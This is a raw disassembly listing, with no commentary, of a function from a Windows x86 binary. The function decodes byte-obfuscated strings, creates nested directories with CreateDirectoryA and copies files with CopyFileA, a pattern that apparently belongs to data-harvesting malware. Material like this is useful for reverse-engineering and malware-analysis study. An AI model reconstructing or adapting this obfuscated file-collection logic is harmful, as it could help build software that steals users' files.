mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x630]
call fcn.00402890
cmp dword [ebp - 0x310], 0x10
lea ecx, [ebp - 0x324]
cmovae ecx, dword [ebp - 0x324]
call fcn.0040b930
test al, al
je 0x43f463
push 1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x324]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x7a8]
mov dl, byte [ebp - 0xd]
call fcn.004215d0
add esp, 0x1c
mov byte [ebp - 4], 0x4b
mov eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x43f2a0
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x2a8], 0
push eax
lea ecx, [ebp - 0xbcc]
call fcn.0045f3c0
mov byte [ebp - 4], 0x4c
lea edx, [ebp - 0xbcc]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xbb4]
call fcn.0046a450
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xbb4]
cmp dword [ebp - 0xba0], 8
mov eax, dword [ebp - 0xba4]
cmovae ecx, dword [ebp - 0xbb4]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x2a8]
sub esi, eax
mov dword [ebp - 0x24], eax
sar esi, 1
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0xd64]
mov dword [ebp - 0x20], esi
call fcn.0046a1b0
add esp, 8
mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x648]
or dword [ebp - 0x14], 0x10000
lea ecx, [ebp - 0xd64]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x51
and dword [ebp - 0x14], 0xfffeffff
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xd64]
call fcn.00461540
mov dword [ebp - 0x54], 0x242c3939
xor ecx, ecx
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp + ecx - 0x54]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 4
jb 0x43f072
lea edx, [ebp - 0x54]
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x43f090
sub edx, ecx
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x634], 0x10
lea ecx, [ebp - 0x648]
push edx
cmovae ecx, dword [ebp - 0x648]
mov edx, dword [ebp - 0x638]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
je 0x43f259
push 0x16
mov byte [ebp - 0x3e], 0
call fcn.004606a0
mov byte [ebp - 0x3f], al
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x3f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f0e3
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x48c]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x488], 0x10
lea eax, [ebp - 0x49c]
push ecx
cmovae eax, dword [ebp - 0x49c]
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd7c]
call fcn.00467530
or dword [ebp - 0x1c], 2
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x648]
cmp dword [ebp - 0x634], 0x10
lea ecx, [ebp - 0xd7c]
push dword [ebp - 0x638]
cmovae eax, dword [ebp - 0x648]
push eax
call fcn.00461960
mov dword [ebp - 0x3cc], 0
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x3c8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3dc], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3dc], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x40000000
movq qword [ebp - 0x3cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xbcc]
cmp dword [ebp - 0x3c8], 0x10
cmovae ecx, dword [ebp - 0x3dc]
cmp dword [ebp - 0xbb8], 0x10
push ecx
cmovae eax, dword [ebp - 0xbcc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x14], 0xbfffffff
mov esi, eax
mov byte [ebp - 4], 0x54
mov ecx, dword [ebp - 0x3c8]
cmp ecx, 0x10
jb 0x43f21f
mov edx, dword [ebp - 0x3dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f215
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
and dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x3cc], 0
mov dword [ebp - 0x3c8], 0xf
mov byte [ebp - 0x3dc], 0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xd7c]
call fcn.00402890
test esi, esi
je 0x43f259
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x648]
call fcn.00402890
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0xbb4]
call fcn.00461540
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xbcc]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x43efc1
mov edi, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xe5], 0x24252916
xor ecx, ecx
mov dword [ebp - 0xe1], 0x2d232c
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xe5]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xe5], al
inc ecx
cmp ecx, 7
jb 0x43f2c0
lea eax, [ebp - 0xe5]
push eax
lea edx, [ebp - 0x324]
lea ecx, [ebp - 0xbe4]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0xbe4]
cmp dword [ebp - 0xbd0], 0x10
cmovae ecx, dword [ebp - 0xbe4]
call fcn.0040b930
test al, al
je 0x43f386
mov dword [ebp - 0xed], 0x24252916
xor ecx, ecx
mov dword [ebp - 0xe9], 0x2d232c
movzx eax, byte [ebp + ecx - 0xed]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xed], al
inc ecx
cmp ecx, 7
jb 0x43f331
lea eax, [ebp - 0xed]
push eax
lea edx, [ebp - 0x49c]
lea ecx, [ebp - 0xddc]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x58
or edi, 1
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x43f379
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0x15], 1
test eax, eax
jne 0x43f38a
mov byte [ebp - 0x15], 0
mov dword [ebp - 4], 0x57
mov eax, dword [ebp - 0x14]
test al, 1
je 0x43f3a9
and eax, 0xfffffffe
lea ecx, [ebp - 0xddc]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0x15], 0
je 0x43f43c
mov byte [ebp - 0xd], 0
xor ecx, ecx
mov dword [ebp - 0xf5], 0x24252916
mov dword [ebp - 0xf1], 0x2d232c
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xf5]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xf5], al
inc ecx
cmp ecx, 7
jb 0x43f3d0
sub esp, 0x18
lea eax, [ebp - 0xf5]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x49c]
push eax
call fcn.004635e0
mov byte [ebp - 4], 0x59
sub esp, 0x14
lea eax, [ebp - 0xbe4]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x5a
mov byte [ebp - 4], 0x57
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43f43c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xbe4]
call fcn.00402890
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x7a8]
call fcn.004612b0
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x43f472
push ecx
lea ecx, [ebp - 0x49c]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x324]
call fcn.00402890
cmp byte [ebp - 0x38], 0
jne 0x43f496
push ecx
lea ecx, [ebp - 0x3f4]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x49c]
call fcn.00402890
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x660]
call fcn.00402890
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x678]
call fcn.00402890
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x690]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x6a8]
call fcn.00402890
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2c4]
call fcn.00402890
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x6c0]
call fcn.00402890
and edi, 0xefffffff
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f4]
call fcn.00402890
cmp byte [ebp - 0xf], 0
je 0x4410d8
mov dword [ebp - 0x179], 0x392f0716
xor ecx, ecx
mov dword [ebp - 0x175], 0x2d242f39
mov dword [ebp - 0x171], 0x39382f
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x179]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x179], al
inc ecx
cmp ecx, 0xb
jb 0x43f550
mov dword [ebp - 4], 0x5b
lea ecx, [ebp - 0x179]
mov edx, dword [0x538b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f581
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [0x538ba0], 0x10
mov eax, 0x538b8c
push ecx
cmovae eax, dword [0x538b8c]
lea ecx, [ebp - 0x179]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x4b4]
call fcn.00467530
or edi, 0x1000
lea eax, [ebp - 0x4b4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x4a0], 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x4b4]
push 0
push eax
call esi
test eax, eax
je 0x4410bd
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0xa9], 0x33211916
mov word [ebp - 0xa5], 0x2f3a
mov byte [ebp - 0xa3], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xa9]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xa9], al
inc ecx
cmp ecx, 6
jb 0x43f620
lea eax, [ebp - 0xa9]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x944]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0x944]
cmp dword [ebp - 0x930], 0x10
push 0
cmovae eax, dword [ebp - 0x944]
push eax
call esi
test eax, eax
je 0x43f85f
movaps xmm0, xmmword [0x5267f0]
xor ecx, ecx
movups xmmword [ebp - 0x71b], xmm0
mov dword [ebp - 0x6fb], 0x196a262b
movaps xmm0, xmmword [0x5264e0]
movups xmmword [ebp - 0x70b], xmm0
mov dword [ebp - 0x6f7], 0x2b38253e
mov word [ebp - 0x6f3], 0x2f2d
mov byte [ebp - 0x6f1], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x71b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x71b], al
inc ecx
cmp ecx, 0x2a
jb 0x43f6c0
xorps xmm0, xmm0
mov dword [ebp - 0x6c8], 0
lea ecx, [ebp - 0x71b]
mov dword [ebp - 0x6c4], 0
movups xmmword [ebp - 0x6d8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f702
sub ecx, edx
lea eax, [ebp - 0x71b]
push ecx
push eax
lea ecx, [ebp - 0x6d8]
call fcn.00402aa0
mov byte [ebp - 4], 0x5d
xor ecx, ecx
mov dword [ebp - 0xfd], 0xe1a1a0b
mov dword [ebp - 0xf9], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xfd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xfd], al
inc ecx
cmp ecx, 7
jb 0x43f740
lea eax, [ebp - 0xfd]
push eax
call fcn.004de911
lea ecx, [ebp - 0x6d8]
mov edx, eax
push ecx
lea ecx, [ebp - 0xbfc]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x5f
mov ecx, dword [ebp - 0x6c4]
cmp ecx, 0x10
jb 0x43f7bc
mov edx, dword [ebp - 0x6d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43f7b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0xbe8], 0x10
lea ecx, [ebp - 0xbfc]
mov dword [ebp - 0x6c8], 0
cmovae ecx, dword [ebp - 0xbfc]
mov dword [ebp - 0x6c4], 0xf
mov byte [ebp - 0x6d8], 0
call fcn.0040b930
test al, al
je 0x43f841
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x944]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x60
sub esp, 0x18
lea eax, [ebp - 0xbfc]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x61
mov byte [ebp - 4], 0x5f
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43f841
mov byte [ebp - 0x15], 1
jmp 0x43f850
push ecx
lea ecx, [ebp - 0x944]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0xbfc]
call fcn.00402890
mov dword [ebp - 0x161], 0x2f260f16
xor ecx, ecx
mov dword [ebp - 0x15d], 0x3e242f27
mov byte [ebp - 0x159], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x161]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x161], al
inc ecx
cmp ecx, 8
jb 0x43f880
lea eax, [ebp - 0x161]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x92c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x92c]
cmp dword [ebp - 0x918], 0x10
push 0
cmovae eax, dword [ebp - 0x92c]
push eax
call esi
test eax, eax
je 0x43fa65
movaps xmm0, xmmword [0x526100]
xor ecx, ecx
movups xmmword [ebp - 0x482], xmm0
mov dword [ebp - 0x472], 0x2b38253e
mov word [ebp - 0x46e], 0x2f2d
mov byte [ebp - 0x46c], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x482]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x482], al
inc ecx
cmp ecx, 0x16
jb 0x43f910
xorps xmm0, xmm0
mov dword [ebp - 0x9cc], 0
lea ecx, [ebp - 0x482]
mov dword [ebp - 0x9c8], 0
movups xmmword [ebp - 0x9dc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43f952
sub ecx, edx
lea eax, [ebp - 0x482]
push ecx
push eax
lea ecx, [ebp - 0x9dc]
call fcn.00402aa0
mov byte [ebp - 4], 0x63
xor ecx, ecx
mov dword [ebp - 0x105], 0xe1a1a0b
mov dword [ebp - 0x101], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x105]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x105], al
inc ecx
cmp ecx, 7
jb 0x43f990
lea eax, [ebp - 0x105]
push eax
call fcn.004de911
lea ecx, [ebp - 0x9dc]
mov edx, eax
push ecx
lea ecx, [ebp - 0x9f4]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x9dc]
call fcn.00402890
cmp dword [ebp - 0x9e0], 0x10
lea ecx, [ebp - 0x9f4]
cmovae ecx, dword [ebp - 0x9f4]
call fcn.0040b930
test al, al
je 0x43fa47
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x92c]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x66
sub esp, 0x18
lea eax, [ebp - 0x9f4]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x67
mov byte [ebp - 4], 0x65
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43fa47
mov byte [ebp - 0x15], 1
jmp 0x43fa56
push ecx
lea ecx, [ebp - 0x92c]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x9f4]
call fcn.00402890
mov dword [ebp - 0x68], 0x1b090316
xor ecx, ecx
mov byte [ebp - 0x64], 0
movzx eax, byte [ebp + ecx - 0x68]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 4
jb 0x43fa72
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x914]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x914]
cmp dword [ebp - 0x900], 0x10
push 0
cmovae eax, dword [ebp - 0x914]
push eax
call esi
test eax, eax
je 0x43fc45
mov dword [ebp - 0xbd], 0x1b090316
xor ecx, ecx
mov dword [ebp - 0xb9], 0x7a7a7a16
mov word [ebp - 0xb5], 0x7b
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xbd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 9
jb 0x43faf0
xorps xmm0, xmm0
mov dword [ebp - 0x9fc], 0
lea ecx, [ebp - 0xbd]
mov dword [ebp - 0x9f8], 0
movups xmmword [ebp - 0xa0c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fb32
sub ecx, edx
lea eax, [ebp - 0xbd]
push ecx
push eax
lea ecx, [ebp - 0xa0c]
call fcn.00402aa0
mov byte [ebp - 4], 0x69
xor ecx, ecx
mov dword [ebp - 0x10d], 0xe1a1a0b
mov dword [ebp - 0x109], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x10d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x10d], al
inc ecx
cmp ecx, 7
jb 0x43fb70
lea eax, [ebp - 0x10d]
push eax
call fcn.004de911
lea ecx, [ebp - 0xa0c]
mov edx, eax
push ecx
lea ecx, [ebp - 0xa24]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0xa0c]
call fcn.00402890
cmp dword [ebp - 0xa10], 0x10
lea ecx, [ebp - 0xa24]
cmovae ecx, dword [ebp - 0xa24]
call fcn.0040b930
test al, al
je 0x43fc27
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x914]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0xa24]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43fc27
mov byte [ebp - 0x15], 1
jmp 0x43fc36
push ecx
lea ecx, [ebp - 0x914]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0xa24]
call fcn.00402890
mov dword [ebp - 0x115], 0x2d231916
xor ecx, ecx
mov dword [ebp - 0x111], 0x262b24
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x115]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x115], al
inc ecx
cmp ecx, 7
jb 0x43fc60
lea eax, [ebp - 0x115]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x2f4]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x2f4]
cmp dword [ebp - 0x2e0], 0x10
push 0
cmovae eax, dword [ebp - 0x2f4]
push eax
call esi
test eax, eax
je 0x4406d7
mov byte [ebp - 0xe], 0
xor ecx, ecx
mov dword [ebp - 0x92], 0x2d231916
mov dword [ebp - 0x8e], 0x262b24
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x92]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x92], al
inc ecx
cmp ecx, 7
jb 0x43fce0
xorps xmm0, xmm0
mov dword [ebp - 0xa2c], 0
lea ecx, [ebp - 0x92]
mov dword [ebp - 0xa28], 0
movups xmmword [ebp - 0xa3c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43fd22
sub ecx, edx
lea eax, [ebp - 0x92]
push ecx
push eax
lea ecx, [ebp - 0xa3c]
call fcn.00402aa0
mov byte [ebp - 4], 0x6f
xor ecx, ecx
mov dword [ebp - 0x11d], 0xe1a1a0b
mov dword [ebp - 0x119], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x11d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x11d], al
inc ecx
cmp ecx, 7
jb 0x43fd60
lea eax, [ebp - 0x11d]
push eax
call fcn.004de911
lea ecx, [ebp - 0xa3c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x5d0]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa3c]
call fcn.00402890
cmp dword [ebp - 0x5bc], 0x10
lea ecx, [ebp - 0x5d0]
cmovae ecx, dword [ebp - 0x5d0]
call fcn.0040b930
test al, al
je 0x4406b3
mov dword [ebp - 0x284], 0x29250616
xor ecx, ecx
mov dword [ebp - 0x280], 0x196a262b
mov dword [ebp - 0x27c], 0x2b38253e
mov word [ebp - 0x278], 0x2f2d
mov byte [ebp - 0x276], 0
nop
movzx eax, byte [ebp + ecx - 0x284]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x284], al
inc ecx
cmp ecx, 0xe
jb 0x43fe00
lea eax, [ebp - 0x284]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa9c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xa9c]
cmp dword [ebp - 0xa88], 0x10
cmovae ecx, dword [ebp - 0xa9c]
call fcn.0040b930
test al, al
je 0x43fee5
mov dword [ebp - 0x293], 0x29250616
xor ecx, ecx
mov dword [ebp - 0x28f], 0x196a262b
mov dword [ebp - 0x28b], 0x2b38253e
mov word [ebp - 0x287], 0x2f2d
mov byte [ebp - 0x285], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x293]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x293], al
inc ecx
cmp ecx, 0xe
jb 0x43fe90
lea eax, [ebp - 0x293]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xdf4]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x73
or edi, 2
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x43fed8
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x43fee9
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x72
mov eax, dword [ebp - 0x14]
test al, 2
je 0x43ff08
and eax, 0xfffffffd
lea ecx, [ebp - 0xdf4]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x43ffbc
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x2a2], 0x29250616
mov dword [ebp - 0x29e], 0x196a262b
mov dword [ebp - 0x29a], 0x2b38253e
mov word [ebp - 0x296], 0x2f2d
mov byte [ebp - 0x294], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x2a2]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2a2], al
inc ecx
cmp ecx, 0xe
jb 0x43ff50
sub esp, 0x18
lea eax, [ebp - 0x2a2]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.004635e0
mov byte [ebp - 4], 0x74
sub esp, 0x14
lea eax, [ebp - 0xa9c]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x75
mov byte [ebp - 4], 0x72
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x43ffbc
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
movaps xmm0, xmmword [0x526750]
xor ecx, ecx
movups xmmword [ebp - 0x8cb], xmm0
mov byte [ebp - 0x8bb], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x8cb]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x8cb], al
inc ecx
cmp ecx, 0x10
jb 0x43ffe0
lea eax, [ebp - 0x8cb]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa84]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xa84]
cmp dword [ebp - 0xa70], 0x10
cmovae ecx, dword [ebp - 0xa84]
call fcn.0040b930
test al, al
je 0x4400a8
movaps xmm0, xmmword [0x526750]
xor ecx, ecx
movups xmmword [ebp - 0x8ba], xmm0
mov byte [ebp - 0x8aa], 0
nop
movzx eax, byte [ebp + ecx - 0x8ba]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x8ba], al
inc ecx
cmp ecx, 0x10
jb 0x440050
lea eax, [ebp - 0x8ba]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe0c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x77
mov edi, dword [ebp - 0x14]
or edi, 4
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x44009b
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x4400ac
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x76
mov eax, dword [ebp - 0x14]
test al, 4
je 0x4400cb
and eax, 0xfffffffb
lea ecx, [ebp - 0xe0c]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x44015c
movaps xmm0, xmmword [0x526750]
xor ecx, ecx
mov byte [ebp - 0xf], 0
movups xmmword [ebp - 0x8a9], xmm0
mov byte [ebp - 0x899], 0
movzx eax, byte [ebp + ecx - 0x8a9]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x8a9], al
inc ecx
cmp ecx, 0x10
jb 0x4400f0
sub esp, 0x18
lea eax, [ebp - 0x8a9]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.004635e0
mov byte [ebp - 4], 0x78
sub esp, 0x14
lea eax, [ebp - 0xa84]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x79
mov byte [ebp - 4], 0x76
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x44015c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x6d], 0x263b3916
xor ecx, ecx
mov byte [ebp - 0x69], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 4
jb 0x440170
lea eax, [ebp - 0x6d]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa6c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xa6c]
cmp dword [ebp - 0xa58], 0x10
cmovae ecx, dword [ebp - 0xa6c]
call fcn.0040b930
test al, al
je 0x44021f
mov dword [ebp - 0x72], 0x263b3916
xor ecx, ecx
mov byte [ebp - 0x6e], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x72]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x72], al
inc ecx
cmp ecx, 4
jb 0x4401d0
lea eax, [ebp - 0x72]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe24]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7b
mov edi, dword [ebp - 0x14]
or edi, 8
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x440212
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x440223
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x7a
mov eax, dword [ebp - 0x14]
test al, 8
je 0x440242
